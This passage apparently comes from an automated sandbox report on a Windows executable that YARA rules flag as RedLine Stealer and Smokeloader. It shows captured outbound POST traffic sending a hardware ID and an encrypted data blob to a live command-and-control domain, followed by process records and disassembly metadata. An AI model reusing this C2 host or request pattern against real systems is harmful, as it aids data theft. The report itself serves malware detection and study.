alt-svc: h3=":443"; ma=86400
2024-04-20 20:07:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 20:07:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:07:04 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 554814 Host: strollheavengwu.shop
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 44 44 31 37 41 31 30 33 44 45 46 46 35 46 35 45 45 36 46 31 43 37 34 32 43 31 43 39 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F54DD17A103DEFF5F5EE6F1C742C1C9F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 38 1e 4e 55 be 7f 1e 01 f5 86 28 0d 85 ef c6 0d 03 9e e4 98 58 ff 9f cb 08 fb 2a 80 26 2e e7 66 5b fc 65 c0 f6 49 3e 3a 8d ad 20 66 ba 40 f7 34 16 88 5d 51 87 95 f2 09 c9 21 be 05 67 9d 05 05 02 a4 89 eb 37 c6 4f c4 09 d0 e6 8b d5 a7 e2 ef 84 db 6d 44 04 1c 0b db cb 30 fa 43 c8 d6 d9 f9 20 ca 38 08 af 0f 4a 3a 82 fc 27 f3 20 38 1b aa 94 c2 1f 69 86 0b f7 03 07 ad 4e 40 ae e6 79 0b 22 d5 37 2e 2d 0a dc f8 b7 e5 e3 80 4b df 58 df bb b4 11 fb 21 a7 77 e8 50 cd fa 8d ab 54 a8 c0 be a2 c3 a4 e4 6a 62 88 eb 64 5a 14 0a ee dd ef 23 62 84 09 45 a6 9d 18 9a 96 83 01 49 fe f1 d4 5c 50 1c ec e8 b2 e6 d0 a0 81 9f 0e 58 3a f8 be 4f 0f 6c 37 96 df 7d 73 6a 74 f0 e2 ee 7e ef 1b 27 7b a5 7b 27 c7 14 ed df 3a 94 54 65 bf b1 a9 28 f8 ef 62 da ec e1 7f 80 56 55 e8 07 6f 41 Data Ascii: 8NU(X*&.f[eI>: f@4]Q!g7OmD0C 8J:' 8iN@y"7.-KX!wPTjbdZ#bEI\PX:Ol7}sjt~'{{':Te(bVUoA
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 25 ba 30 b5 5a 0a 6f 5b 83 f1 01 c3 b5 54 13 ee f7 8f e3 71 65 a3 93 d3 d3 d1 75 fa 13 4a ce 2a 60 a7 63 04 44 90 db 87 a7 5a 06 12 55 94 14 23 e2 7e bd 3f 71 4c 3e d2 c0 a9 cb 10 e7 77 5c 85 cf 8f 97 af d6 d5 c1 3d 6a 2c fb f5 2e 83 c0 7f 57 cd 7a 5a e0 55 09 0f 8f e6 e7 11 8f 45 f3 0b ad 29 f5 2d 09 ed 6c 92 d3 7e b5 51 fb 28 8e 20 87 12 da 83 33 79 a8 bb 24 5e a9 f2 4a 30 b5 e5 4e 68 ed 9e fc 49 b9 7e fe ef ea 59 93 57 46 7f 9f 8d be 9a 1e b2 8f ef 6e 90 68 1f b5 d9 f0 79 63 34 ec 2f fe 4b b1 76 2a 84 1f fd 93 d9 bd ee 74 c5 ef 51 a6 21 a2 33 4b 34 2b b7 45 56 68 7d 38 f6 d8 10 d4 1d b5 25 f2 74 47 81 4a 3a 4b 79 82 97 2e 92 21 f1 82 1d 2c 9a 2e c6 1c df 9c e5 76 bf e7 e8 b7 9a e0 3d f4 7f ed 30 6d ed a4 3f 28 81 f8 17 65 17 af cf db 8c 44 0a 10 8e 86 Data Ascii: %0Zo[TqeuJ`cDZU#~?qL>w\=j,.WzZUE)-l~Q( 3y$^J0NhI~YWFnhyc4/KvtQ!3K4+EVh}8%tGJ:Ky.!,.v=0m?(eD
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: fd e9 d9 de 4f 68 98 51 b9 e4 72 60 e3 45 bf 40 4f 66 c5 e7 91 9a 8a 97 ff b0 98 dc fc d8 d3 d5 53 2b 7f 9c 98 d4 e6 73 42 5d 63 3f b7 7e 53 7d 8d dd 6d 5e 71 ae 7d da 9f 49 cd db 0b 1c 85 8b 00 e6 d6 69 e0 78 61 07 cf 4e 9d 5e d9 42 61 96 db b0 04 ab f4 40 1b 87 a3 8e 0f b7 f9 ba fe e8 5e 84 d5 84 dc 64 81 34 90 8d 09 b9 e5 35 0f d1 ed 42 ed 0d 3e a8 e3 67 7a df 90 db 4c 9e 86 5b 68 01 87 8f bf 36 10 1f 61 0a 3c e4 ff bf 23 d0 91 cc 51 08 94 a1 a1 26 03 70 ad 2c 17 11 59 12 91 9a a5 28 70 21 e4 a9 36 df 1a 5d 5c 15 fb ea 95 e2 90 d6 0f 40 d8 43 74 c4 3c c3 12 bf 4c ba 7a 70 03 8b 9f 18 46 a9 a0 40 e2 47 4e 88 4d 84 4d 62 a8 61 93 55 69 10 6d 7c b6 71 c1 d5 80 75 97 ee 7a e3 a6 71 ef 8c e1 5a 1f 31 26 72 30 47 80 7e 46 06 46 13 7c ce ba 70 6b 14 a8 ce e6 Data Ascii: OhQr`E@OfS+sB]c?~S}m^q}IixaN^Ba@^d45B>gzL[h6a<#Q&p,Y(p!6]\@Ct<LzpF@GNMMbaUim\|quzqZ1&r0G~FF\|pk
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: da f6 34 c2 3c 5f 46 be 76 01 4c 25 cc 09 79 35 bf c7 8c 65 24 9a da 13 ff 8d 44 a0 a9 a1 62 7b a4 b1 f3 28 4f b4 79 3b ca dc 49 e3 d7 65 fc 4b bf ad f7 20 ba e3 5c 00 ab 0f 41 62 19 01 4c df 74 ba cd 9a 99 dd 79 72 f5 04 e7 9a 01 1e 3f a5 1b fc 55 32 10 cb 83 11 c6 f4 2a 8c a3 19 51 45 dd 46 73 b2 1f ac 19 4d c6 d8 70 a1 46 79 2b f7 4c a7 a4 d1 91 f1 3b 33 43 15 f1 9b 2f 05 28 fc 9c 3b a3 c1 d8 7a 52 ed 75 26 33 e2 ef 41 72 9d 44 a4 71 1d 82 1d 08 93 28 47 5d 22 d2 fa d0 8c b8 72 f5 74 f8 1e df d2 53 3e 15 c9 64 4b fb 8c 04 9c 90 e0 7e 46 c9 9e 5d 3a 5c d2 77 59 d3 1b cf 24 22 0f f3 99 54 fd 58 69 d2 ba b9 9a d9 ba c5 1d d6 a4 83 11 02 af 07 d4 c6 b3 de 70 81 3f 5f c7 9e 44 d6 18 e9 66 25 f0 0a 81 db 13 d0 e2 39 d3 cc 04 d1 d8 e7 0b e7 12 d8 3f be af e1 Data Ascii: 4<_FvL%y5e$Db{(Oy;IeK \AbLtyr?U2*QEFsMpFy+L;3C/(;zRu&3ArDq(G]"rtS>dK~F]:\wY$"TXip?_Df%9?
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 56 14 38 36 c9 0d 45 ea 7c fd b6 64 99 5e d1 d1 14 cf b9 22 2c fe e3 6f 6e 87 2b f6 0e 1c e4 0f 9d c0 84 fa a3 7e 2c e0 62 b3 ea 4c 68 e6 61 13 21 12 9c f9 27 81 95 5e ac 04 95 6b e3 60 d9 37 bd a2 30 7b b7 0c 6c 88 81 5f 72 b1 eb a3 44 07 db 5e 9d 25 56 d7 77 4b d8 5e 78 e1 c5 d3 ff 1d a6 b9 9e 81 bd c3 25 2d 42 7f 85 d8 89 aa 32 91 54 d8 66 ac 56 94 65 b7 ae 56 fb 0c 65 a8 fb 61 de eb 83 fb b3 cf 5c 40 df 5c 63 9c d9 99 29 72 15 ba 49 55 d7 5c 46 cf a2 97 73 66 6c 8e 92 e9 ac 25 55 da 18 00 6f d1 8c 79 56 1f 29 4d 04 10 f6 88 45 29 71 b3 1b b6 d7 06 ff 5d 97 1c a9 61 76 4e fd 4c 90 3b ee 0c ef 03 0d 2a 3b fb 1d 66 5b 20 0c 38 24 c5 90 6f 80 a9 61 97 b8 c0 03 71 86 1e 22 ed ee 5e df f7 7e 6b f6 6e 13 93 2a c4 de f8 b5 55 49 cb f2 8b 37 59 7a e2 ca ee 99 Data Ascii: V86E\|d^",on+~,bLha!'^k`70{l_rD^%VwK^x%-B2TfVeVea\@\c)rIU\Fsfl%UoyV)ME)q]avNL;;f[ 8$oaq"^~knUI7Yz
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 4d e1 10 76 14 17 35 39 e2 a3 f5 fc e3 58 bc cb 9d c0 6f 47 1e 2d 6d 65 7a 19 ef 13 d9 f0 72 14 50 a8 ee 79 e9 8d 29 1a be 8c c3 23 be ff 4e c7 8e 15 2f 98 93 f8 bf 6e b6 23 ea 80 b4 53 95 d1 cd 6c f3 54 df 27 0e ae fc 93 ba 23 d6 99 07 51 24 08 13 4a 7b ec 91 63 f3 b5 10 98 7d 16 0a 11 e5 b2 94 21 47 e1 de 93 1c ad 73 69 dc 7b 3d e8 98 3e bc cb 45 62 20 ef fd 48 8b b6 4d cd 5a d1 2c 0f b9 92 35 cd cc 11 ea 14 0d 77 91 2c 8e a8 3e 02 2c 46 33 35 50 df b1 bd 7f 69 c3 15 0d 57 71 90 5a 03 36 f6 6a 64 39 64 ed 68 2f 01 78 6a 9c 20 e2 50 08 9e 55 ec 9c 9d 25 32 c9 3a 3c f8 fd 0a a5 72 d7 6d 25 e6 c8 04 cb 52 2c 0b 1b f6 f3 57 ab ff ef 02 5f e6 61 66 49 f1 31 e1 85 cb 31 99 3a 18 e3 f3 64 5f de 59 99 38 43 71 2c 47 1a 7a 3d 12 37 5b 1c 23 ae 3a 10 66 9c a4 ea Data Ascii: Mv59XoG-mezrPy)#N/n#SlT'#Q$J{c}!Gsi{=>Eb HMZ,5w,>,F35PiWqZ6jd9dh/xj PU%2:<rm%R,W_afI11:d_Y8Cq,Gz=7[#:f
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: c5 1d ed e8 b6 3f 86 82 41 e0 11 94 e1 b0 b7 f4 52 b1 5c ca 88 cb a9 4d 69 84 e7 b2 73 a6 71 13 fa 14 22 34 12 eb 85 54 a7 ae 66 a7 ee 7a 83 01 2e e7 d7 e5 58 f1 ce 78 f9 e0 ef be b0 36 be 38 e9 9b ef 50 fe b5 a9 0c 96 de 8e bd 2c 22 a3 09 dd 24 ab 88 60 2a f6 1a 24 6c 54 71 08 f7 72 4c f7 f7 8f 44 51 14 46 6f ad 92 2b 8f 73 f4 ea ab b9 29 ff 80 1e 45 48 c3 e8 98 d6 4a f5 b2 87 b5 25 4e 4c 64 58 7d 4a 08 e7 f6 f1 27 17 58 95 0e 4e 1d c9 3d 12 9a 7c e4 e4 f9 7f a7 cd 58 a4 75 d1 1d 76 44 c9 37 b6 d8 b6 59 b9 a8 95 9e d3 50 46 b6 4f e2 ce 8b 4b d3 86 a3 9f ec a0 cf 3c 4f e0 b3 58 30 2f dc 97 7e 0e 68 2d 1c 20 96 20 10 47 79 37 65 fb af a4 0d 60 01 39 1c 3a c7 07 ca ad dc 7f 79 bb 9f 7c 02 3a 8f 70 62 6c d2 22 f2 4f dd f2 20 3a 35 38 fa 65 55 a0 67 08 a7 f2 Data Ascii: ?AR\Misq"4Tfz.Xx68P,"$`*$lTqrLDQFo+s)EHJ%NLdX}J'XN=\|XuvD7YPFOK<OX0/~h- Gy7e`9:y\|:pbl"O :58eUg
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 77 be 5b 97 b5 e5 27 aa cd 09 9a 02 40 02 2b 95 ea 9e a7 46 58 d0 d3 33 42 1f bd db a0 3f 74 62 c0 37 fd 49 6b f7 e7 87 f9 66 82 bc 5b f3 f6 9f 8c a8 ff bb 25 26 08 42 7c 16 17 d1 40 1b 7f 05 07 de a2 0b 05 50 c3 64 b2 e4 3f c1 69 da 3e 89 9b c7 6a 2c 8d f9 7d 75 10 0c 18 70 82 9c 23 4b ed 45 d1 03 1c 0a 95 86 b9 92 87 fb a5 46 5c e3 b1 23 aa 74 01 8c 36 cb 33 9a 1a 0c f0 eb 8f 59 63 2b 80 4f c5 7c f0 b8 c8 9b ad b8 7d d3 56 68 5e 3b 1f 3e 33 67 aa e6 c4 a9 cd 67 15 a9 c6 bc 82 63 e2 f7 20 d8 a8 5b 7f fd 8a 83 04 ea 7a c2 04 04 6e 10 70 0d b8 7a e5 a8 90 dd 54 7e 00 e1 a0 15 e2 de d0 9d 5c bb d6 9c 59 b2 8b 8d a9 d3 08 f6 b2 25 de 03 f3 1a 9d 44 48 3a 58 63 8c 4e da 44 14 e0 b6 cf e6 24 d0 05 04 7e 4d d9 14 da d8 da 06 66 ee 8d 2d ff e2 b5 a5 4c ad 47 50 Data Ascii: w['@+FX3B?tb7Ikf[%&B\|@Pd?i>j,}up#KEF\#t63Yc+O\|}Vh^;>3ggc [znpzT~\Y%DH:XcND$~Mf-LGP
2024-04-20 20:07:04 UTC	15331	OUT	Data Raw: 3f 45 f3 6f f0 f9 10 d0 b5 d7 d1 84 33 fc d7 24 05 1d e7 f5 69 02 5f ed ff ef a5 37 d6 71 7a 27 33 21 3e 26 b1 6c a7 21 2f f3 ae 9a 97 20 e2 8d 59 f4 58 63 22 60 d8 1d 05 f9 87 67 54 a0 fc 5f 66 4c 77 87 e1 8b 57 bf 88 56 ee bc 59 cc d6 40 40 e4 17 d7 d4 d3 de ac ab f9 e1 8c 84 fc a5 9a 09 97 29 78 a2 b6 89 54 81 56 17 b0 6c dd 11 7a 14 86 61 6a 50 8c 5a a1 29 ce db fd fa 72 91 4a ca 04 80 9d 1c bd e3 fc 8d 21 df d9 81 9e 1e d2 07 5c e7 0f 8c d6 84 f7 dc 16 70 0c 5a 78 35 6f af 42 6c a1 67 79 0c 56 ca 0d 96 dc 75 c9 17 5b 18 08 93 8a f4 6e 56 ee 18 5b 2a d6 a6 47 51 eb 66 3d f2 42 10 ee 05 8c fd b9 3e f6 8a 30 08 f1 9e 9b 95 87 c3 fc a0 d7 9a 49 13 1f f6 a4 c0 a2 8e 9f a8 92 ac d9 be 0a ee 7b c9 20 a7 dd 64 1b 96 c7 08 b4 fe 5c d3 85 e2 3d aa a6 a2 0d 32 Data Ascii: ?Eo3$i_7qz'3!>&l!/ YXc"`gT_fLwWVY@@)xTVlzajPZ)rJ!\pZx5oBlgyVu[nV[*GQf=B>0I{ d\=2
2024-04-20 20:07:06 UTC	816	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kqrq6kof1o2al4jevijb4va33l; expires=Wed, 14-Aug-2024 13:53:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B06HvQt%2BFKJ%2FvweijJMlu71%2Fe1DMR2%2FIswRjECasdpRTuSgCvEr3XXlumv2Vsw3Xl7viZmEZTXyEGcb5wgdNiKBNQqKjnw4d%2FEBlTS%2Bwfdu%2FWAqY0pqfCJ6sKNXemgizLWn3OKu9gA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c22ffcc21833-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	22:06:56
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\LwnI84BBtb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LwnI84BBtb.exe"
Imagebase:	0x400000
File size:	406'528 bytes
MD5 hash:	49293C745F0FD48AB2784CAD7CC5A0AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1921423684.0000000001A4E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:07:05
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1568
Imagebase:	0xce0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:07:06
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1644
Imagebase:	0xce0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	7.7%
Signature Coverage:	27.9%
Total number of Nodes:	362
Total number of Limit Nodes:	20

Executed Functions

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004156F8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041572E
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 00415A58
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 00415A9D

Strings

VSB, xrefs: 004158BE

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction ID: 561acfdcea67f0ed6ea61f084dffec9e4f3ed68c02ddb911ce32c0222a0ae114
Opcode Fuzzy Hash: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction Fuzzy Hash: 01F17DB5A00B01AFD724DF29C8427A3BBF5FF49324F14461DE8AA8B790E335A4518BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IHDR, xrefs: 00404B16
IEND, xrefs: 00404BFF
), xrefs: 0040475E
IDAT, xrefs: 00404B87

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 81389711beaa29f86f5f82e84e63627ab08fe02229620d9f452df9630ba90dcb
Instruction ID: 8102909a56e56f31e14bd42bc049a778ecbfeaf59adb2e6de5403f8909f3a5ca
Opcode Fuzzy Hash: 81389711beaa29f86f5f82e84e63627ab08fe02229620d9f452df9630ba90dcb
Instruction Fuzzy Hash: C012FDB1A083449FD714CF28D85076B7BE1EF85304F05857EEA85AB382D778D909CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC60 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

tu, xrefs: 0041CC86
7q9w, xrefs: 0041CC7E
m!s, xrefs: 0041CCC6

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction ID: a0c0b6b935059c8c526aef0dde426ea912ec2d3602511b1274e97aa73ba39016
Opcode Fuzzy Hash: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction Fuzzy Hash: 1D91F1B16443018BDB14DF14CC927BBB7A1FF91718F19492EE8829B391E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB22 Relevance: 3.6, APIs: 2, Instructions: 615COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction ID: 262629fdbb3efc19342746e0a643e000866adf4d73472e6c2c89fe251207d53e
Opcode Fuzzy Hash: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction Fuzzy Hash: 862278B46083418FE314CF15C89076BB7E6FFCA309F14892DE8959B291D778D945CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 01A4F5C6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01A4F5EE
Module32First.KERNEL32(00000000,00000224), ref: 01A4F60E

Memory Dump Source

Source File: 00000000.00000002.1921423684.0000000001A4E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01A4E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a4e000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 770e6471237a622dbd974e5901457404b46c220aa14fe3b96d936a2d62b8d365
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F9F096352007116FE7203BFDA88DB6EB6E8AFC9625F101628E642D10C0DB70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 0041AFE0 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

|)t+, xrefs: 0041AFFF
!, xrefs: 0041B013

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction ID: 0549958bf72732722078fd682deb9016a6df138242a2d297af9ac57ce41d61db
Opcode Fuzzy Hash: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction Fuzzy Hash: D341BB716183109BC718CF14C8A076BB7B0FF8A328F049A1DE8E19B380E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004162D6 Relevance: 1.7, APIs: 1, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction ID: 58d5ef61e29c700e7a5bf84aeee46845931b96e69ec54e1ba371a830b22f87e7
Opcode Fuzzy Hash: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction Fuzzy Hash: F371E0B1604B008FD724CF24D891753BBE2BF49314F198A6ED8AA8B792D778E845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435B8B Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435C27

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction ID: 1272006d1290d83cf13eff99d31ed8c686e055d99e4b0088207ea3cb61a97368
Opcode Fuzzy Hash: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction Fuzzy Hash: 141139705083019FD708CF54C46472BFBE1EBC5318F248A5DE8A91B291C379D959CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435C40 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043AB86,005C003F,00000006,?,?,00000018,8A858487,?,:RA), ref: 00435C6D

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: 57f1bbd75be791b51c1c69d73521a326315edc5ecdbfadca72035e30f952b94d
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 64E09275508602AFEA05DF45C14050EF7E2BFC8718F55988DE88473604C6B4AD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 00420C42 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c05f572b40e1ee658a53a265a9c69a1e9a99d1188c26c8d681712ba5683871
Instruction ID: 0646c17248e0037d8b2e2a871ccc27ad5747d79b115fced78c7331720078151d
